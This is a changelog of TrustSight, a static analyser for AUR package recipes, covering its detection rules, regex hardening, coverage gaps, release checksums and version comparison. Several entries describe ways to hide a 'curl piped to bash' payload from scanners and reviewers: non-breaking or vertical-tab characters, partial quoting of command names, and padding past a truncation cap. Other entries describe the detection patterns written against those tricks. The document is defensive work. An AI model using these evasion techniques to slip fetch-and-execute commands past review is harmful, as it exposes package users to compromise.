- X008, whitespace a shell does not split on. bash splits words on space,
tab and newline. Python's
\salso matches NBSP, NNBSP, the ogham and ideographic spaces, NEL and the line and paragraph separators - so a line readingmake installwith a NBSP between the words displays as a command and executes as one unknown word. What the reviewer reads is not what the shell runs.
R013 is FATAL and claims bidi overrides, zero-width characters and tag
characters. It does not claim these, so nothing scored them and nothing
reported them - and a payload rule that spells whitespace as \s fires
around one: R001 reported "curl piped to bash" for a line that runs no
curl, which describes the wrong thing rather than nothing.
MEDIUM, not FATAL: the line fails closed - the command is simply not found - and the realistic benign cause is a command copy-pasted from a web page. Measured before weighted, as the family requires: zero hits on the locked benign corpus. One diff in 3,246 carries such a character at all, in the text of a font licence, which is not a shell file and never reaches the file gate. The family's documented reason for having no X008 was that R013 left it nothing to do; that is true of R013's codepoints and not of these, so the reasoning is corrected rather than quietly dropped.
- A shared command-position prefix was quadratic in newlines.
_CMD- the "start of subject, or just after a separator" prefix that a dozen sabotage rules and two crossfire rules are built from - ended in\s*, which matches a newline. On a subject holding many of them the engine re-scanned a run of newlines from every position: 8,192 cost 2.4s in_SHRED_HOME_REand 5.8s in_HISTORY_WIPE_RE.
Nothing reaches it today: every caller matches one line at a time and a line holds no newline, so this was latent rather than live. It is still the shape A14 exists to forbid, sitting in a prefix a dozen rules share, and it stayed invisible for as long as it did because the probe alphabet could not produce a newline - which is the argument for fixing an alphabet before trusting any timing taken with it. The prefix is horizontal-only now (2.4s -> 1ms, 5.8s -> 4.7ms) and matches the same text: a command word follows spaces or tabs on its own line, and the newline boundary is the lookbehind's job.
-
Four code-emitted rules fired on an escaped pipe. The TOML audit only reads
rules.toml, so the R001-R003/R045 fix never reached the rules defined in source:build._REMOTE_XARGS_SHELL_RE,delivery._PIPE_TO_SHELL_RE,network._PIPE_TO_SHELL_REand crossfire's ownX001_REall matched the inert spelling. All four now require an unescaped pipe. The audit that found them reads everyre.compilein the source - 232 patterns against the 31 in the TOML set. -
A class of control escapes derived no probe alphabet.
[\t\n\r\f\v]+was timed against input it cannot consume, because the scan for literals sawt,n,r- the letters, not the controls they name. Single-letter escapes are decoded now, which is what surfaced the_CMDquadratic above. -
Three more rules fired on an escaped pipe. R001 was the loudest but not the only one: R002 (wget to shell), R003 (base64 decode into a pipe) and R045 (binary encoding pipe) all matched the inert spelling too, because each describes a pipeline and none of them checked that the bar was operative. All four now require an unescaped pipe, all four superseded spellings are registered for
config sync-rules --update, and the corpus replay is identical on both sides of the change: zero-rate 68.4%, flag rate 11.9%, benign p95 35, CRITICAL p5 60. A strict narrowing that costs no recall is what removing a false positive should look like. -
A FATAL rule's cost had never actually been measured. R013's class is
\u202A-\u202Eand friends, and every fixed probe inregex_safetyis ASCII, so both its backtracking risk and its growth ratio were taken against input it cannot match - and a measurement with the wrong alphabet reports zero, which reads exactly like fast. When no ASCII candidate fits a class, the probe character now comes out of the class body itself. R013 measures againstU+202AandU+200Bnow, and is genuinely cheap; the point is that the check says so on evidence rather than by accident. -
The rule linter had the same load sensitivity as the audit. It measures backtracking by running the pattern, so a clean ruleset linted as unlinted depending on what else was on the machine -
test_shipped_default_rules_are_cleanpassed alone and failed inside the full suite. Same fix as the audit and the bounded-matching gate: re-measure and keep the minimum. A checker that fails for reasons unrelated to what it checks teaches operators to ignore it. -
R001 fired on an escaped pipe.
curl x \| shpasses a literal bar to curl as an argument and starts no pipeline; the rule matched it anyway - a false positive on the highest-severity, highest-recall rule in the set. The pattern now requires the pipe to be unescaped, which is exactly why the tokenizer keeps\|intact. Verified against the full corpus replay: benign rates and labelled-fixture recall both unchanged. The superseded pattern is registered soconfig sync-rules --updaterepairs an existing install. -
Three JSON body keys were unreachable on
Report.required_by,ioc_matchesandscan_truncatedwere all into_dict()and absent from the object, so a caller wanting an indicator hit had to serialise the report to read a field the report already held. All three are attributes now, andtest_every_json_body_key_is_reachable_on_the_reportcloses the class rather than the three instances. -
Two timing checks failed under load and passed alone. The regex audit and the bounded-matching gate both compared a wall-clock measurement against a fixed budget, so contention alone could fail them. Both now re-measure and keep the minimum when a result looks over budget: contention inflates a timing and never deflates one, so a genuinely catastrophic pattern is slow on every attempt. Six parallel audit runs now pass where a single loaded suite run failed.
-
The published corpus size was never reproducible from this repository. Fifteen places cited a 3,739-diff locked corpus.
corpus.lockhas only ever recorded 3,332 and then 3,246, and the fixtures directory holds exactly 3,246 -
so no checkout could produce the number every calibration claim rested on. Every figure is re-measured against the corpus that is actually here: corpus size 3,246, zero-rate 68.4%, benign flag rate 11.9%, the percentile 20 sits at 88.1th. Benign p95 (35), CRITICAL p5 (60), the 25-point margin and the median (0) were already correct.
test_the_documented_corpus_size_matches_the_lockties the prose to the manifest, because the drift happened silently for want of anything connecting them. -
A line break for Python that is not one for a shell hid a payload from every line-based rule.
str.splitlinesbreaks on eight characters bash does not treat as a line terminator -\v,\f,\x1c-\x1e,\x85,U+2028andU+2029. Written into a diff:
bash runs one command: the vertical tab is an ordinary character inside the
URL word, and | terminates the word whatever precedes it, so the fetch is
piped into a shell. Python saw two lines, so R001's
curl.*\|\s*(bash|sh|…) had curl on one and | bash on the other and
matched neither. The payload ran and nothing fired. The same trick cut
any pattern that spans a break, in any rule.
tokenizer.split_lines now splits on newlines and nothing else, and the
whole matching pipeline goes through it, because line indices are shared
between modules - map_diff_lines keys what apply_rules reports. The
characters are kept rather than stripped: bash keeps them, so removing one
would join two words that stay separate at build time, and replacing it with
a space would split a word that stays joined. Only where a line ends
changed.
-
A finding named its rule twice, and a dependency card volunteered a band. Both reported from a real
reviewpanel.verdict._renderalready ends every description with[R001], and the Rich renderer added a second copy in front, so each finding readPKGBUILD line 4 [R001] Remote Script Execution: … [R001]- while the plain renderer added none, so the two disagreed about the same finding. An aggregate entry with no file (SOURCE_BUCKET) opened with a stray space where the path would have been. And the dependency card printedRisk (High)with no flag set, where every other surface withholds the band unless--scoreor--riskasks for it;--riskchanged nothing either way, because the flag was never passed down to the card at all. -
A first analysis threw away the findings it had just made. The most serious of a batch found by hunting the shape of the metadata-snapshot bug rather than its details: something computed, recorded, and then not read.
_make_fresh_analysis ran the recency check, the new-package check and the
committed-tree scan, handed the results to insert_analysis, and then built
the fact with an empty score_breakdown and a hardcoded score of 0. A
first-seen package shipping an ELF binary in its git tree - R118, the Atomic
Arch delivery shape - reported Low, score 0, no findings, with the
finding sitting in the database row it had just written. First-seen is the
case with the least prior evidence about a package, so it is the last one
that should be reported clean without looking. The corpus path in
full_aur/analyze.py had been scoring its own first-seen facts all along;
the two had drifted. The review path now uses the same scorer, and carries
the maintainer and the IOC matches it can also see without a diff.
-
[limits] default_review_limitwas documented, shipped, and never read.--limit's own default of0won on every invocation, so a user who set the key saw no change. It is honoured now, and the shipped value moves from20to0: a review that stops early has not looked at the rest, and narrowing what an existing install covers is the wrong direction for the default. An explicit--limit 0still means all of them and beats the config. -
A truncated review reported the truncation as a smaller problem. With
--limit 5against 40 outdated packages the summary read "5 package(s) needing update and reviewed": the count of packages needing an update was silently replaced by the count the limit let through, so the number was wrong in the direction that reads as reassuring, and the 35 skipped were never mentioned. The summary now names them. -
Two sections existed only on the Rich renderer.
inspectwithout Rich showed no Resolved commands section at all - the reconstructed command text behind a finding, the deobfuscatedcurla rule matched on - and no maintainer or line counts.review --verbosehanded off to the full inspect panel on the Rich path and returned the same summary on the plain one, so asking for detail got you detail only if Rich happened to be installed. Both renderers now carry the same sections, andtests/test_output_parity.pycompares them against each other rather than only against the JSON body, which is what let the gap sit there: the fixture never populatedexecution_changes, and a renderer exercised with an empty section is not exercised. -
The AUR-side version dropped the declared
epochandpkgrel. Reported by the maintainer ofoolite-git, whose recipe declaresepoch=1,pkgver=1.93.1.r7966.7ccbff5eandpkgrel=2, against an install of1:1.93.1.r7967.caea422f-2.inspectrendered the right-hand side as1.93.1.r7966.7ccbff5e, becauseget_pkgver_from_headmatched^pkgver=and nothing else. The two sides of that line were not the same kind of object.
It was not only display. compare_installed_to_aur compares epochs first
and parses an absent one as zero, so a non-VCS package declaring
epoch=1 compared 1 against 0 and came out as installed ahead: a real
update reported as a backwards move. oolite-git never reached that branch
only because the VCS short-circuit fires first.
- `full_version_from_pkgbuild` assembles `[epoch:]pkgver[-pkgrel]` from
the recipe's own fields. A component that is not literal - `pkgver=$_ver`
- is omitted rather than guessed at, and no literal `pkgver=` at all
returns nothing, leaving the existing fallbacks in charge.
- With both sides full, they are compared as full versions, pkgrel
included, which is what pacman and every AUR helper do. An AUR `pkgrel`
bump is now the update it always was; it used to render as "no change"
even though discovery had just listed the package as outdated on
exactly that difference. A side that declares no pkgrel still compares
by epoch and pkgver alone - a pkgrel that was never declared cannot be
a difference.
-
"Not comparable" never said why, so the reporter reasonably blamed the epoch.
oolite-gitis inconclusive because it computes its version inpkgver(), which is a deliberate refusal: the AUR text records whatever the maintainer's last build produced, so it is stale by design rather than predictive. That reasoning was in the source and not in the output. The version line now names the cause, and distinguishes it from the other case the same constant covers - a version that could not be read at all - without adding a field to the report body. -
A first analysis still drew the backwards arrow. The reporter's first
inspectprinted1:1.93.1.r7967.caea422f-2 -> 1.93.1.r7966.7ccbff5eand the second, with a prior analysis on record, printed "not comparable": whether a downgrade was drawn as an update depended on how many times the package had been inspected._make_fresh_analysisnever setversion_comparison. The suppression added in 0.12.0 had landed on the incremental path only. -
The inspect panel printed
First analysis.[]and said Status twice.[]is not a Rich close tag, so it rendered literally and the style never closed; the same row duplicated the Status line the foot of the panel emits unconditionally. -
A quadratic pattern was scored safe because its alphabet was punctuation.
_representativesharvested escapes, character classes and the first alphanumeric literal, so/+$derived no alphabet at all,growth_ratiofell back to probing witha- which/can never match - and both measurements came back at zero. Zero is below the noise floor, the growth check was skipped, and a skipped measurement scored the same as a fast one. The module's docstring had already named this class of failure: "a fixed probe list is the attacks somebody thought of, and the classes it omits score zero rather than unknown". Theor ["a"]fallback was the same trap one level down, unguarded.- Literals are now harvested whatever their character class, with the
pattern's syntax - a
:from(?:, a digit from{1,64}, a class body - stripped first, since probing with syntax is the same wrong alphabet in a different costume. - The fallback for a pattern whose alphabet cannot be derived is several characters wide, and says in place that unmeasured is unknown, not safe.
- The widened detector immediately caught a shipped rule: R007's
\+.*\.install.*is quadratic. It is now^\+.*\.install, matching exactly the same text on an added line, where the diff marker is at position 0. An installation written before this release still holds the old pattern and, because a refused pattern stops matching silently, would lose the rule: the superseded pattern is registered sotrustsight config sync-rules --updaterepairs it,trustsight lintreports it as an ERROR, and the refusal log now names the pattern.
- Literals are now harvested whatever their character class, with the
pattern's syntax - a
-
reviewcompared against a metadata snapshot it never refreshed, so a machine with pending AUR updates was told it had none. Reported from a 0.13.1 install wheretrustsight reviewprinted "No outdated packages found" whileyay -Syulisted four AUR updates on the same system. The snapshot was downloaded on first run and reused unconditionally from then on:load_metadatarecordedsnapshot_timeand no caller ever read it, and the only code path that refetches the dump is the corpus builder, which areview-only user never runs. So this was not an edge case, it was every installation's steady state after the first day.
The failure mode is what makes it severe rather than merely wrong. A stale
snapshot does not produce an error or an empty result: every installed
package resolves to the version the snapshot recorded, vercmp says they
are equal, and the tool answers "nothing to review" in green. The one
output a security tool must never produce quietly is all clear when it
has not looked.
- The snapshot is now refetched once it is older than
`[discovery] metadata_ttl_minutes` (default 60, matching the RPC path's
`cache_ttl_minutes`), and `load_snapshot` returns the timestamp
alongside the packages so the age cannot be dropped on the floor again.
- A snapshot with no recorded timestamp counts as stale, so an existing
install self-heals on its next review rather than needing the file
deleted by hand.
- A refresh that fails keeps the snapshot on disk and **warns**, naming
its age and saying a package updated since then will not be reported.
Falling back to "no outdated packages" on a network failure would
reproduce the original bug at the moment the user is least able to
notice it. An empty dump is refused for the same reason: it would
overwrite a working snapshot with nothing.
- `metadata_ttl_minutes = 0` restores the old behaviour for an offline
machine that must pin the snapshot it has.
- The AUR PKGBUILD advertised v0.13.1 with v0.13.0's checksum. Reported
by a user, and accurate: the recorded
f083582...is the v0.13.0 tarball, while v0.13.1 hashes to6c19cea4.... The checksum was written by a second commit after the tag, because GitHub's on-demand archive cannot exist until the tag does, so every release passed through a window where the branch was inconsistent. For v0.13.1 the workflow that closes that window failed and the window never closed. Contributing cause:check()run from the release tarball failed three tests, one of which was a direct contradiction between.gitattributes export-ignore(which removespackaging/from the archive) and thecritical paths are synchronisedgate (which requiredpackaging/aur/PKGBUILDto exist).
Changed¶
-
The source is a release asset built by this repository, not GitHub's generated archive.
scripts/build_release_tarball.pyproduces the tarball deterministically: mtimes, uid/gid and member order normalised, gzip given no timestamp, output a pure function of the paths and contentsgit archiveselects. Becausepackaging/is export-ignored, recording the checksum in the PKGBUILD cannot change the tarball it describes, so the checksum ships in the same commit as the version bump and no repair step exists to fail. Release assets are immutable, which also closes the long-standing exposure to GitHub regenerating archives and invalidating recorded checksums, as it did ecosystem-wide in 2023. -
release-pkgbuild.ymlverifies instead of repairing. It no longer computes a checksum or commits to the default branch. On a published release it rebuilds the tarball from the tag, asserts the PKGBUILD already records that checksum, asserts the published asset is those exact bytes, and then builds and installs it withcheck()enabled. -
The critical-path existence check tolerates the archive.
ARCHIVE_EXCLUDED_PATHSinscripts/critical_paths.pynames the pathsexport-ignorelegitimately removes; the gate skips their existence check when running from an extracted tarball and enforces it everywhere else.test_packaging_is_export_ignore_from_archivesskips when there is no git checkout to archive rather than failing ondubious ownership.
Stats¶
- 6 commits since v0.13.1
- 2599 tests (57 files), all passing
- 65/65 security gates, 10/10 calibration gates
- Package version 0.13.2
0.13.1 - 2026-08-12¶
Fixed¶
-
The PKGBUILD workflow failed twice on every release. A release moves
pkgverand the recorded checksum in two separate commits, and it cannot do otherwise: the checksum is of the tarball GitHub builds from the tag, so it is unknowable until the tag exists.pkgbuild.ymlruns on every push, including the version-bump commit and the tag pointing at it, and asserted that the recorded checksum matches the tarball for the recorded version. Between those two commits that assertion cannot hold, so the job failed for a state the release procedure guarantees, once for the branch push and once for the tag push. The workflow now identifies the window (the tag forpkgverdoes not exist yet, orHEADis the tag's own commit) and skips the tarball steps with a notice. Outside the window the assertion is unchanged and just as strict. -
check()never ran against the release tarball it was added to protect. v0.12.1 added a build of the shipped artifact so a regression that breaks it fails CI instead of reaching users, but that build lives inpkgbuild.ymland could not see the release it was meant to guard. The only commit where the checksum assertion can pass is thepackaging: set checksum for vXcommit, whichrelease-pkgbuild.ymlpushes withGITHUB_TOKEN, and GitHub does not trigger workflows from such pushes. The guarantee therefore first held on the next unrelated push, well after users could install the release.release-pkgbuild.ymlnow builds and installs the tarball itself (makepkg -si --noconfirm, no--nocheck) in the job that already has the container, the tarball and the corrected PKGBUILD, so the release run proves the artifact before publishing it.
Stats¶
- 4 commits since v0.13.0
- 6 files changed, +106 / -6
- 2029 tests (47 files), all passing
- 51/51 security gates, 10/10 calibration gates
- Package version 0.13.1
0.13.0 - 2026-08-12¶
Added¶
-
A public API (
trustsight.api). Every flow the CLI drives is available as a library:TrustSightexposesinspect,analyze_text,review,refresh_corpus,watch,pivot,history,packages,forget,prune,configandstatus, returning frozen dataclasses (Report,ReviewResult,Finding,HistoryEntry,TrackedPackage,CycleReport,PivotResult, ...) whoseto_dict()is byte-identical to the corresponding--jsonoutput. Thetrustsightpackage resolves these names lazily (PEP 562), soimport trustsightfor__version__alone never loads typer, rich or the analysis stack. The CLI and the API share one pipeline: the review engine moved out ofcli/review.pyintotrustsight.review, andcli/review.pykeeps its historical spellings as re-exports.review --jsonduring a metadata bootstrap now reports{"status": "metadata_downloaded", ...}and stays a pure JSON document. See python-api.md. -
Shared CLI/API evaluation semantics. The public API and CLI now consume one reporting layer for findings, verdicts, risk bands, coverage, changes, suppressions and JSON serialization. API limits, explicit package lists and watch parameters are validated before analysis begins, and API results are returned as dataclasses without rendering terminal output.
-
Public API inputs are bounded before side effects. Package and indicator names, repository and package lists, PKGBUILD text, metadata text, and history/review limits now have explicit ceilings with type and boolean validation.
-
Adversarial security coverage. Deterministic tokenizer fuzzing, regex audits, differ hostile-input checks, archive hardening tests and critical path policy tests are now part of the test and security-gate coverage.
-
A rule taxonomy (
RuleCategory).src/trustsight/categories.pygives every documented rule exactly one category naming the kind of claim it makes:fetch-and-execution,obfuscation,deception,install-and-persist,staging-and-recon,integrity,naming-and-dependency,maintainer-and-metadata,temporal,composition,count-based,corpus-behavioral, andcrossfire(reserved, no rules). This is a different axis from the per-rulecategoryfield, which names the capability a match touched and is what R072 counts; nothing about findings, scoring or the report payload changes.RULE_CATEGORIESmaps all 128 documented sections,category_of()andrules_in()read it, andtests/test_docs.pyfails if a rule is uncategorised, documented on a page its category does not own, or missing from the index.
Changed¶
-
The rules reference is one page per category.
reference/rules.mdbecamereference/rules/, with an index carrying the type legend and a quick-reference table for all 128 rules, one page perRuleCategory, andsystem.mdholding everything that is not an individual rule definition: therules.tomlfield table, the severity weights, the FATAL short-circuit, the measured fire rates, the Class A to E taxonomy, the C-series and D-series sections, and the reserved identifier ranges. Every meta anchor (#c-series,#d-series,#fatal-rules,#class-d-rules,#experimental-fire-rates,#not-rules, ...) keeps its spelling onsystem.md, which also keeps a stub anchor for every rule id pointing at the page that now defines it, so no#rXXXlink breaks. The index's legend and table are generated byscripts/build_rules_index.py. Rule text is unchanged. -
Differ input is bounded and deterministic. Generated patches, companion files, paths, and extracted URL tokens now have explicit limits; companion blobs are checked before reading, malformed hunks fail closed, and URL/file summaries use stable ordering. Adversarial differ tests and security gates cover hostile size, malformed syntax, and repeatability.
-
Diff truncation is UTF-8-safe and shared across analysis paths. Git and offline analysis use the same bounded prefix helper and preserve an explicit truncation flag, so partial multibyte input cannot corrupt parser text and truncated results remain covered by
diff_truncated. -
The rules reference documents every implemented rule. Added sections for R132 (Indirect Command Expansion), R136-R140 (Committed File Executed Without Declaration, Fetch Then Execute, Downloaded Source File Executed, Service ExecStart Targets Undeclared Binary, PATH Injection With Undeclared Directory) and a Declared-practice findings subsection for P001-P007; the delivery section header and Tier A span now cover R001-R140.
-
Tokenizer hostile-input coverage was expanded. A deterministic fuzz harness now exercises assignments, nested and cyclic expansion, malformed quoting, arrays, namerefs, command substitutions, diff markers, Unicode, memoization and the
scan_diffboundary. It asserts bounded output, termination, deterministic results and JSON-safe integration output without changing the deliberately open R133-R135 behavior. -
Regex backtracking remains bounded by input clamping. Rule matching still uses Python's standard
remodule; every logical line is clamped to 8 KiB before matching and the security gates measure hostile matching time. A staged regex hardening plan is documented in the security model rather than adding a new runtime dependency without comparative evidence. -
Configured regexes now fail closed at runtime. A pattern that exceeds the bounded adversarial probe budget is refused by the rule compiler instead of being run against package-controlled text.
scripts/regex_audit.pyaudits configured and source patterns, andscripts/benchmark_regex_engines.pyprovides an optional comparison with the third-partyregexengine without adding it as a runtime dependency. -
CI actions are pinned to immutable commit SHAs. GitHub workflow actions no longer follow mutable version tags, and the signed-commit workflow shares one canonical critical-path list with the security policy and contributor guidance.
-
Seed archive handling is stricter. Seed imports now cap archive member counts and refuse symlinks, hardlinks, device nodes and FIFOs before extraction, preserving the existing size and path-containment limits.
-
Documentation and default-report language were aligned with the security model. The README now describes deterministic evidence reports rather than risk-score verdicts, documents the opt-in
--score/--riskdisplay, removes the obsolete LLM wording, and points at the published documentation site.
Stats¶
- 19 commits since v0.12.1
- 84 files changed, +8112 / -2415
- 2029 tests (47 files), all passing
- 51/51 security gates, 10/10 calibration gates
- Package version 0.13.0
0.12.1 - 2026-08-11¶
Changed¶
- The release tarball's checksum is validated end to end in CI. The Arch
containers install git before checkout, so
actions/checkoutperforms a real clone instead of falling back to the source archive (which honours.gitattributesexport-ignoreand therefore omitspackaging/). ThePKGBUILDworkflow downloads the actual shipped tarball, fails the build with an explicit error on a checksum mismatch, and builds from it withmakepkg; no--skipchecksumsanywhere. The release workflow computes the checksum from the served tarball, verifies it withmakepkg --verifysource, and commits the PKGBUILD and.SRCINFOto the default branch; the tag stays frozen so the tarball, and therefore the checksum, stays stable. - The PKGBUILD CI job now executes
check()against the release tarball. The build step dropped--nocheck, so a regression that breaks the shipped artifact fails thePKGBUILDworkflow instead of reaching users. - Calibration figures refreshed to the 3,246-diff locked corpus. The published numbers now match the committed corpus: 69.1% benign zero-rate, benign p95 = 45 against malicious p5 = 60, strict positive separation as the only separation gate. The stale 3322-diff references and pre-B10 numbers across security.md, the reading-a-report guide, fire-rates, the benchmarks page and the index pages were reconciled, and the CONTRIBUTING quick start now runs the security gates.
- The README was modernized to match the current CLI surface and the signed release channel, with verified links across the documentation.
Added¶
- R122: the corpus path reports archive trailer anomalies. The snapshot
tarball bytes fetched for the full-AUR corpus now go through
check_archive_trailer, a pure function over bytes: trailing bytes after the gzip member, a missing tar end-of-archive block, or content after the zip end-of-central-directory record produce a stamped R122 finding, surfaced exactly like the R118-tree scan results. The review path still never downloads PKGBUILD-declared URLs, so R122 only ever sees the AUR's own snapshot tarballs; see rules.md. - The malicious corpus is committed source. All 164 malicious
.diffbodies are now committed (a gitignore override fortests/fixtures/malicious/), so a fresh clone runs the recall and separation gates on the full corpus with no generator step.scripts/verify_fixtures.pychecks everyexpected.jsonrecord against its.diff(no missing bodies, no orphans, per-category counts), and a newfixture-determinismjob regenerates all five generators on a fresh checkout and fails if the tree drifts from the committed record. - A signed-commit policy, enforced on critical paths. Changes to the
tokenizer, scoring, config, database, security gates, CI workflows,
packaging, and baseline keys must be GPG-signed:
.github/CODEOWNERSassigns those paths to the maintainer, theverify-commit-sigsworkflow checks every critical-path commit in a pull request tomaster, andCONTRIBUTING.mddocuments key setup and the list of critical paths.
Fixed¶
- The release archive failed its own
check()step. Six tests intests/test_pkgbuild.pyreadpackaging/aur/PKGBUILD, which GitHub source archives exclude by.gitattributesexport-ignore(a tarball cannot contain the PKGBUILD for its own checksum).makepkg -sifrom the v0.12.0 archive aborted with six failures. The PKGBUILD-hygiene tests now skip whenpackaging/is absent, and still run in the repository checkout where the PKGBUILD lives.
Stats¶
- 11 commits since v0.12.0
- 198 files changed, +2370 / -425
- 1536 tests, all passing
- Package version 0.12.1
0.12.0 - 2026-08-10¶
Added¶
- A release channel for every baseline. All baselines the tool consumes
now ship as signed GitHub release assets with the
baseline-prefix:baseline-seed.tar.gz(the hashed novelty seed),baseline-ioc-<source>-<incident>-manifest.json/-iocs.jsonl(per-curator IOC baselines),baseline-corpus.tar.zst(the corpus baseline) andbaseline-manifest.json(per-asset SHA-256, size and signature). Every asset carries a detached Ed25519.sigunder the pinned distribution key, verified before any payload is read; a download that does not verify is refused, never imported. New in the tool:trustsight seed fetch(download, verify, import), release-channelioc update(per-curator verification preserved on top of the distribution signature), first-run auto-import of a missing seed from the channel, andscripts/build_release_baselines.py(build, sign, self-verify, manifest). The.github/workflows/baselines.ymlworkflow builds and uploads the seed, IOC and manifest assets on every published release, signing with theBASELINE_SIGNING_KEYActions secret; the corpus baseline is exported by the maintainer and uploaded per the publishing guide. - A security model, stated and enforced.
docs/security.mdis now the canonical page: TrustSight as a program consuming hostile input (Part A), what a verdict claims and does not claim (Part B), an enforcement map (Part C), and a vulnerability disclosure policy written for a static analyser, with supported versions, severity timelines, and an explicit list of what is not a vulnerability (Part D). scripts/security_gates.pyand a CI job. Forty-five gates, one per invariant: no interpreter or shell execution, version arguments shape-checked, network confined to the four fetch modules, one declared host, every request timed out, bounded rule matching, bounded and never-indirect expansion, data-driven rendering, no archive extraction, parameterised SQL, inert terminal output, coverage failing closed, a gap always shown with the band, FATAL integrity, seed and baseline containment, reserved names refused by every writer. The v0.12.0 additions guard the two new subsystems: an IOC match always carries its source (A13b), never contributes to the score (B1), is reported when expired rather than silently dropped, and never appears in the rule config layer; the novelty seed stores no plaintext identity (P1) and hashes deterministically. Three gates guard the documentation rather than the code: the maturity numbers in B3 must be derived fromscoring._MATURITY_THRESHOLDrather than copied beside it; every link between pages underdocs/must resolve to a file and an anchor that exist; and the doc and the gate list must still describe the same set, so a guarantee cannot be added to one without the other.- Coverage accounting (
src/trustsight/coverage.py). Four gaps are now first-class onPackageFactand in the JSON:diff_truncated,line_truncated,tree_not_analyzed,unresolved_source. A gap never adds points, but it constrains presentation two ways: it forbids an UNFLAGGED verdict (the run reportsInconclusiveunless a HIGH or worse finding already stands), and it travels with the band wherever a person sees one, so an incomplete run renders asHigh (incomplete analysis)rather thanHigh. That second half closes the decoy seam: pad past the cap, put the payload after the cut, and include one cheap deliberate HIGH in the visible prefix. Reported as a weight-0COVERAGEentry in the breakdown and quoted inunresolved_sources. Machine output keepsriskbare withcoverage_gapsbeside it, plusrisk_labelfor consumers that display a band. src/trustsight/safe_text.py.clean()andsafe_markup()strip ANSI and OSC sequences, C0/C1 control bytes and DEL, and neutralise Rich markup, applied at every render boundary incli/. Stored evidence and JSON output stay byte-exact.PackageFact.risk. The verdict band is now carried on the fact and read throughscoring.verdict_level()(bare band, for machines) orscoring.verdict_label()(qualified, for people).- IOC Federation baseline system (v0.12.0,
src/trustsight/ioc_baseline.py). A signed, multi-curator, time-bounded inventory of known-bad artifacts (domains, file hashes, package names) that sits outside the heuristic score. Baselines are Ed25519-signed directories (manifest.json+iocs.jsonl), imported per source and replaced idempotently; each match names the curator that flagged it (attribution, not aggregation), carries its incident and evidence URL, and reports expiry rather than silently lapsing. A newIOC Matchstage runs after rule matching and attachesPackageFact.ioc_matches; matches never enterscore_breakdownand never move the number. New[baselines.ioc]config section,ioc_entriestable, andtrustsight ioc {sources,import,update,list,export}commands. See the IOC reference. - User-data hashing for the novelty seed (v0.12.0). The bundled seed's
~36k maintainer names and emails are stored as salted SHA-256 hashes, not
plaintext: the novelty and maturity signals need only "have we seen this
identity before", never the literal string. A per-seed 32-byte salt defeats
precomputed tables; the salt travels in
seed_meta. Names and emails are normalised (strip().lower()) at one hashing chokepoint so the seed build, the plaintext-to-hashed migration, and every runtime lookup agree. An old plaintext seed is migrated on first run and the original table renamed tomaintainers_deprecated_backup. Newmaintainers_hashed/package_maintainers_hashedtables andtrustsight seed {info,stats,migrate}commands. Documented in seed provenance. - Committed-file scanning (
differ.companion_source_hunks). A payload that ships as a file inside the AUR repo (declared insource=()or merely named by the recipe, e.g.bash "${startdir}/helper.sh") is now read with the same rules as the PKGBUILD. The differ used to feed onlyPKGBUILD,.SRCINFOand*.installto the scanner, so acurl | bashmoved one file over reached no rule; the whole current content of every companion the recipe names is scanned, so a payload committed earlier and referenced later is still seen. Unreferenced committed files are left alone. - Two coverage gaps.
unresolved_sourcenow tracks a multi-linesource=()array whose$(...)rides a continuation line, not only the opener; andunresolved_parse_timerecords a top-level command substitution that runs while makepkg sources the PKGBUILD for metadata, before any rule reads it. Both fail closed toInconclusive. - R137 (Fetch Then Execute, CRITICAL). The split download-then-run form a reviewer would read as two innocuous lines: a downloader writes a file and the same function later executes it. R001/R002 own the single-line pipe; R137 owns the split.
Changed¶
- The release channel is its own release kind. Baseline assets
(
baseline-*) ship onbaseline-<date>channel releases, published after the software release they serve so the tool's defaultlatestchannel resolves to them; software releases (vX.Y.Z) never carry baseline assets. The release baseline workflow only runs forbaseline-*tags and manual dispatch. - The novelty seed no longer ships inside the package. The 20 MB
src/trustsight/data/seed.db.gzis gone from the repo, wheel and package; the seed is distributed as the signedbaseline-seed.tar.gzrelease asset (v2 hashed format). First-run auto-import keeps working by fetching and verifying the channel asset (silently skipping on failure or offline), andseed fetchimports it on demand. The security model's network doctrine now names two declared hosts:aur.archlinux.orgeverywhere, andgithub.comconfined to the new fetch modulerelease.py(seed fetch,ioc update, first-run import), with thenetwork confined to the fetch modulesandone network host, declaredgates updated to match. trustsight full-auris safe by default: no accidental whole-AUR scrape. A missing snapshot used to silently trigger a from-scratch bootstrap that fetched every PKGBUILD in the AUR (~120k). That now refuses unless--bootstrapis passed. Every cycle, delta or bootstrap, is capped at[limits] corpus_max_per_cycle(default 2000) and resumes automatically, so a large amount of work advances in bounded, resumable chunks instead of one avalanche; a capped cycle does not advance the snapshot, run the corpus sweep, or export a half-built corpus until the transition completes.--resumeis now implied (cycles resume on their own) and kept only for compatibility. The intended cadence is incremental: runfull-aurperiodically so each cycle fetches only the changed packages.trustsight full-auris faster, rate-limited, and shows progress. The corpus build fetched one PKGBUILD per package serially, with feedback only every 1000 packages. PKGBUILDs are now fetched a window ahead, several at a time ([limits] corpus_fetch_workers, default 5); analysis stays serial and in package order so novelty still reads earlier packages' observations. The fetcher is a good citizen to the AUR's cgit (which rate-limits per IP and runs anti-scraping): a global aggregate rate cap (~5 requests/second) bounds the request rate regardless of worker count, and requests retry with exponential backoff on429,5xxand connection resets, honouring aRetry-Afterheader. On an interactive terminal the analysis loop renders a live progress bar on stderr (current package,M/N, elapsed, ETA), and falls back to periodic log lines when there is no TTY or under--json. Benign per-package snapshot fallbacks (a VCS or-binpackage with no tarball) dropped from a warning per package to debug, and a genuinely unfetchable PKGBUILD is counted and reported once. A latentTypeErroron the reserved-name path (_logger()called without its argument) is fixed.- The tokenizer normalises partial quoting.
c"u"rlandba"sh"are reconstructed tocurlandbashbefore rules match, the non-empty twin of the empty-quote rule, so intra-word quoting no longer hides a literal from the resolved-line rules. A standalone quoted argument (a message, a URL, adependsentry with structure) keeps its quotes, so tokenisation for the other rules does not shift. -
Maintainer identities hash through one chokepoint.
db._hash_maintainer_valuedelegates toseed_build._hash_value, and both normalisestrip().lower(), so a maintainer whose name or email differs only in case or whitespace is one identity rather than a fresh novelty signal every time. The two formulas used to be copied in two modules; identical then, they could drift, and a drift would silently miss every lookup. -
Declared verification is no longer credited (B10). Checksums,
validpgpkeys, GPG signature sources, source pinning and trusted-forge hosting were worth up to 25 points of discount. They are now weight-0 findings in a newPnamespace (P001-P003,P005-P007), reported in their own group under the line "TrustSight does not verify these claims. It reports that the recipe makes them."[verification_evidence]and[pinning_weights]are removed from the shipped config, so a localconfig.tomlcannot reintroduce a credit, andtrusted_forgeis 0.
